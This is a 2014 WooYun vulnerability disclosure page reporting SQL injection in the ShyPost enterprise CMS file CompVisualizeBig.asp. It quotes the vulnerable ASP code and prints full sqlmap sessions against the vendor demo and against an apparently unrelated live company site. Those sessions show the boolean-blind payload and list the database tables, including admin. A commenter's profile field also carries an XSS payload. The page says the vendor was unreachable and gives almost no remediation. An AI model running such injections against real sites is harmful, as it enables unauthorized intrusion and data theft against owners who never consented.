当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083352

漏洞标题:ShyPost企业建站系统SQL注射漏洞(官方demo测试成功)

相关厂商:ShyPost企业建站系统

漏洞作者: 袋鼠爸爸

提交时间:2014-11-21 15:41

修复时间:2015-02-19 15:42

公开时间:2015-02-19 15:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

出错文件:CompVisualizeBig.asp

set rs=server.createobject("adodb.recordset")
sql="select * from CompVisualize order by id desc"
rs.open sql,conn,1,1
dim MaPerPage
MaPerPage=9
dim text,checkpage
text="0123456789"
Rs.PageSize=MaPerPage
for i=1 to len(request("page"))
checkpage=instr(1,text,mid(request("page"),i,1))
if checkpage=0 then
exit for
end if
next
If checkpage<>0 then
If NOT IsEmpty(request("page")) Then
CurrentPage=Cint(request("page"))
If CurrentPage < 1 Then CurrentPage = 1
If CurrentPage > Rs.PageCount Then CurrentPage = Rs.PageCount
Else
CurrentPage= 1
End If
If not Rs.eof Then Rs.AbsolutePage = CurrentPage end if
Else
CurrentPage=1
End if
call list
'显示帖子的子程序
Sub list()%>
据说这里好友问题的说。。可以创建图片类型程序。可以创建文字类型程序。。呵呵


demo:http://www.shypost.com/demo/CompVisualizeBig.asp?id=10测试了下竟然可以进行get注入

漏洞证明:

[root@Hacker~]# Sqlmap sqlmap -u "http://www.shypost.com/demo/CompVisualizeBig.a
sp?id=10"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:59:20
[16:59:22] [INFO] testing connection to the target url
[16:59:24] [INFO] testing if the url is stable, wait a few seconds
[16:59:27] [INFO] url is stable
[16:59:27] [INFO] testing if GET parameter 'id' is dynamic
[16:59:29] [INFO] confirming that GET parameter 'id' is dynamic
[16:59:31] [INFO] GET parameter 'id' is dynamic
[16:59:32] [INFO] heuristics detected web page charset 'GB2312'
[16:59:32] [WARNING] reflective value(s) found and filtering out
[16:59:32] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[16:59:32] [INFO] testing for SQL injection on GET parameter 'id'
[16:59:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:59:46] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[16:59:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:59:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:59:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:59:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:59:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:59:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:59:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:59:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:00:01] [INFO] heuristics detected web page charset 'ascii'
[17:00:01] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:00:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:00:05] [INFO] testing 'Oracle AND time-based blind'
[17:00:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[17:00:07] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[17:00:20] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[17:00:20] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[17:00:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:00:33] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[17:00:58] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 62 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=10 AND 6572=6572
---
[17:01:07] [INFO] testing MySQL
[17:01:10] [WARNING] the back-end DBMS is not MySQL
[17:01:10] [INFO] testing Oracle
[17:01:11] [WARNING] the back-end DBMS is not Oracle
[17:01:11] [INFO] testing PostgreSQL
[17:01:13] [WARNING] the back-end DBMS is not PostgreSQL
[17:01:13] [INFO] testing Microsoft SQL Server
[17:01:15] [WARNING] the back-end DBMS is not Microsoft SQL Server
[17:01:15] [INFO] testing SQLite
[17:01:17] [WARNING] the back-end DBMS is not SQLite
[17:01:17] [INFO] testing Microsoft Access
[17:01:19] [INFO] confirming Microsoft Access
[17:01:21] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[17:01:21] [WARNING] HTTP error codes detected during testing:
503 (Service Unavailable) - 18 times
[17:01:21] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[17:01:21] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.shypost.com'
[*] shutting down at 17:01:21


[root@Hacker~]# Sqlmap sqlmap -u "http://www.truly-tech.com/CompVisualizeBig.asp
?id=15"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:15:15
[00:15:16] [INFO] testing connection to the target url
[00:15:16] [INFO] testing if the url is stable, wait a few seconds
[00:15:18] [INFO] url is stable
[00:15:18] [INFO] testing if GET parameter 'id' is dynamic
[00:15:19] [INFO] confirming that GET parameter 'id' is dynamic
[00:15:20] [INFO] GET parameter 'id' is dynamic
[00:15:20] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[00:15:20] [INFO] testing for SQL injection on GET parameter 'id'
[00:15:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:15:25] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[00:15:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:15:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:15:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:15:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:15:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:15:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:15:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:15:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:15:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:15:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:15:34] [INFO] testing 'Oracle AND time-based blind'
[00:15:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:15:35] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[00:15:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:15:39] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:15:45] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 62 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=15 AND 6486=6486
---
[00:15:48] [INFO] testing MySQL
[00:15:48] [WARNING] the back-end DBMS is not MySQL
[00:15:48] [INFO] testing Oracle
[00:15:48] [WARNING] the back-end DBMS is not Oracle
[00:15:48] [INFO] testing PostgreSQL
[00:15:48] [WARNING] the back-end DBMS is not PostgreSQL
[00:15:48] [INFO] testing Microsoft SQL Server
[00:15:48] [WARNING] the back-end DBMS is not Microsoft SQL Server
[00:15:48] [INFO] testing SQLite
[00:15:48] [WARNING] the back-end DBMS is not SQLite
[00:15:48] [INFO] testing Microsoft Access
[00:15:49] [INFO] confirming Microsoft Access
[00:15:49] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[00:15:49] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[00:15:49] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.truly-tech.com'
[*] shutting down at 00:15:49
[root@Hacker~]# Sqlmap sqlmap -u "http://www.truly-tech.com/CompVisualizeBig.asp
?id=15" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:17:16
[00:17:16] [INFO] resuming back-end DBMS 'microsoft access'
[00:17:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=15 AND 6486=6486
---
[00:17:17] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[00:17:17] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[00:17:17] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[00:17:17] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:17:17] [INFO] retrieved:
[00:17:20] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[00:17:20] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[00:17:20] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[00:17:23] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[00:17:23] [INFO] checking table existence using items from 'D:\??\???~1\tools\?
???\SQLMAP~3\Bin\txt\common-tables.txt'
[00:17:23] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[00:17:24] [INFO] starting 10 threads
[00:17:29] [INFO] retrieved: product
[00:17:31] [INFO] retrieved: admin
[00:17:34] [INFO] retrieved: news
[00:18:16] [INFO] retrieved: feedback
[00:20:20] [INFO] retrieved: download
[00:22:01] [INFO] retrieved: market
Database: Microsoft_Access_masterdb
[6 tables]
+----------+
| admin |
| download |
| feedback |
| market |
| news |
| product |
+----------+
[00:22:07] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.truly-tech.com'
[*] shutting down at 00:22:07
[root@Hacker~]# Sqlmap

修复方案:

过滤?

版权声明:转载请注明来源 袋鼠爸爸@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2014-11-25 08:56 | 袋鼠爸爸 ( 路人 | Rank:14 漏洞数:5 | "><img src=x onerror=alert(1);</img>)

    @Finger 这种算通用么?